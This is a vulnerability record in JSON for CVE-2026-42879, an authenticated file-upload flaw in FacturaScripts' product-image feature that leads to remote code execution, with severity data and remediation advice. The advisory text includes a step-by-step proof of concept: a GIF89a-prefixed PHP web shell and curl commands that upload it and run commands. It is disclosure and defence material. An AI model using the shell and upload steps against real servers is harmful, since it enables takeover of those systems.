{"id":"CVE-2026-42879","aliases":["CVE-2026-42879","GHSA-vf3q-frmr-vrr9"],"related":[],"kind":"vulnerability","state":"published","title":"FacturaScripts: Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images","summary":"FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"FacturaScripts is an open source accounting and invoicing software. In 2025.81 and earlier, an authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. The vulnerability exists the addImageAction() method of Core/Lib/ExtendedController/ProductImagesTrait.php.","source":"cvelist"},{"lang":"en","text":"# CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass\n \n## Summary\n \nAn authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.\n \n---\n \n## Details\n \nThe vulnerability exists in:\n \n`Core/Lib/ExtendedController/ProductImagesTrait.php`\n \nSpecifically in the `addImageAction()` method.\n \n### Vulnerable Code\n \n```php\nif (false === strpos($uploadFile->getMimeType(), 'image/')) {\n    Tools::log()->error('file-not-supported');\n    continue;\n}\n \n$folder = Tools::folder('MyFiles');\nTools::folderCheckOrCreate($folder);\n$uploadFile->move($folder, $uploadFile->getClientOriginalName());\n```\n \n### Root Cause\n \n- The validation only checks if MIME type contains `\"image/\"`\n- This can be bypassed by prepending **GIF89a magic bytes** to a PHP file\n- The system incorrectly identifies the file as `image/gif`\n- The file is saved with a `.php` extension in a web-accessible directory\n \n### File Storage Behavior\n \nUploaded files are stored in:\n \n```\n/MyFiles/YYYY/MM/X.php\n```\n \nWhere `X` is an auto-incrementing ID. This allows direct remote execution:\n \n```\nhttp://target/MyFiles/2026/03/2.php?cmd=id\n```\n \n---\n \n## Impact\n \nSuccessful exploitation:\n\nAn attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.\n---\n \n## Proof of Concept (Manual)\n \n### Step 1: Create malicious file\n \n```bash\ncat > shell.jpg.php << 'EOF'\nGIF89a\n<?php\nsystem($_GET['cmd']);\n?>\nEOF\n```\n \n### Step 2: Authenticate\n \n- Login to the application\n- Extract `PHPSESSID` from browser cookies\n \n### Step 3: Get CSRF token\n \n```bash\ncurl -s \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  | grep -o 'multireqtoken\\\" value=\\\"[^\\\"]*\\\"' | cut -d'\"' -f4\n```\n \n### Step 4: Upload shell\n \n```bash\ncurl -X POST \"http://target/EditProducto?code=CONTA621\" \\\n  -H \"Cookie: PHPSESSID=YOUR_SESSION_ID\" \\\n  -F \"multireqtoken=YOUR_CSRF_TOKEN\" \\\n  -F \"action=add-image\" \\\n  -F \"activetab=EditProductoImagen\" \\\n  -F \"idproducto=3\" \\\n  -F \"newfiles[]=@shell.jpg.php\"\n```\n \n### Step 5: Execute command\n \n```bash\ncurl \"http://target/MyFiles/2026/03/2.php?cmd=id\"\n```\n \n---\n\n \n## Affected Products\n \n| Field | Value |\n|---|---|\n| Ecosystem | Packagist |\n| CVE ID | CVE-2026-42879 |\n| Package Name | `facturascripts/facturascripts` |\n| Affected Versions | <= 2025.81 |\n| Patched Versions | Not yet patched |\n| Fixed in | Pending |\n \n---\n \n## Remediation Recommendations\n \n1. **Validate file extension** — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type\n2. **Re-generate filenames on the server** — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension\n3. **Store uploads outside the webroot** — serve files through a controller that streams content, preventing direct URL execution\n4. **Use a file type library** — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME\n## Credits\n\n- **Discoverer**: Abdullah Alwasabei / Guzrex","format":"markdown","source":"ghsa"},{"lang":"es","text":"FacturaScripts es un software de contabilidad y facturación de código abierto. En la versión 2025.81 y anteriores, existe una vulnerabilidad de carga de archivos sin restricciones autenticada en la funcionalidad de carga de imágenes de productos de FacturaScripts. Un atacante con credenciales válidas puede cargar un archivo PHP disfrazado de imagen GIF (utilizando una cabecera GIF89a), eludiendo la validación del tipo MIME. El archivo se almacena con su extensión original, incluyendo extensiones ejecutables como ’.php’. La vulnerabilidad reside en el método addImageAction() de Core/Lib/ExtendedController/ProductImagesTrait.php.","source":"nvd"}],"published":"2026-05-07T19:49:05.000Z","modified":"2026-10-26T11:10:00.157Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","score":6.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","score":6.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","score":6.3,"rating":"MEDIUM"}],"cwes":["CWE-94","CWE-434"],"affected":[{"ranges":[{"version":"<= 2025.81","status":"affected"}],"vendor":"NeoRazorX","product":"facturascripts","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2025.81"}],"ecosystem":"Packagist","package":"facturascripts/facturascripts","purl":"pkg:composer/facturascripts/facturascripts","source":"ghsa"}],"references":[{"url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-vf3q-frmr-vrr9","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42879","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/NeoRazorX/facturascripts","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-06-01T17:05:06.441Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42879","url":"https://www.cve.org/CVERecord?id=CVE-2026-42879","licence":"CVE Terms of Use","modified":"2026-06-01T17:08:32.048Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-vf3q-frmr-vrr9","url":"https://github.com/advisories/GHSA-vf3q-frmr-vrr9","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:47.667Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42879","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42879","licence":"Public domain","modified":"2026-10-26T11:10:00.157Z"}],"updatedAt":"2026-11-25T22:59:22.653Z","epss":{"score":0.00229,"percentile":0.14673,"date":"2026-12-02T12:00:21.000Z"}}